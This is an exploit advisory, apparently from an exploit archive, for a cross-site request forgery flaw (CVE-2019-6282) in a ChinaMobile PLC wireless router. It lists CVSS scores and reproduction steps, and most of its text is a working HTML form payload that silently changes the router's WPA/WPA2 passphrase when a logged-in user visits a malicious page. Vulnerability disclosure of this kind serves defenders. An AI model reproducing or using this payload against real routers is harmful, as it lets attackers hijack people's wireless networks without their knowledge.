PLC Wireless Router GPN2.4P21-C-CN Cross Site Request Forgery

Credit: Kumar Saurav
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Cross-Site Request Forgery (CSRF) # Date: 15/01/2019 # Exploit Author: Kumar Saurav # Vendor: ChinaMobile # Category: Hardware # Version: GPN2.4P21-C-CN (Firmware: W2001EN-00) # Tested on: Windows # CVE : CVE-2019-6282 #Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware W2001EN-00 have CSRF vulnerability via the cgi-bin/webproc?getpage=html/index.html subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password. #Reproduction Steps: Note: This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated. Step 1: User login to PLC wireless router Step 2: User visits the attacker's malicious web page (PLC_CSRF.html) Step 3: PLC_CSRF.html exploits CSRF vulnerability and changes the wireless Security (WPA/WPA2) key to "PSWDmatlo331#@!" Step 4: ( in my Case) <html> <body> <form method="POST" action=""> <input type="text" name="sessionid" value="2a39a09e"> <input type="text" name="language" value="en_us"> <input type="text" name="sys_UserName" value="admin"> <input type="text" name="var:menu" value="setup"> <input type="text" name="var:page" value="wireless"> <input type="text" name="var:subpage" value="wlsecurity"> <input type="text" name="var:errorpage" value="wlsecurity"> <input type="text" name="getpage" value="html/index.html"> <input type="text" name="errorpage" value="html/index.html"> <input type="text" name="var:arrayid" value="0"> <input type="text" name="obj-action" value="set"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!"> <input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase"> <input type="submit" value="Send"> </form> </body> </html>

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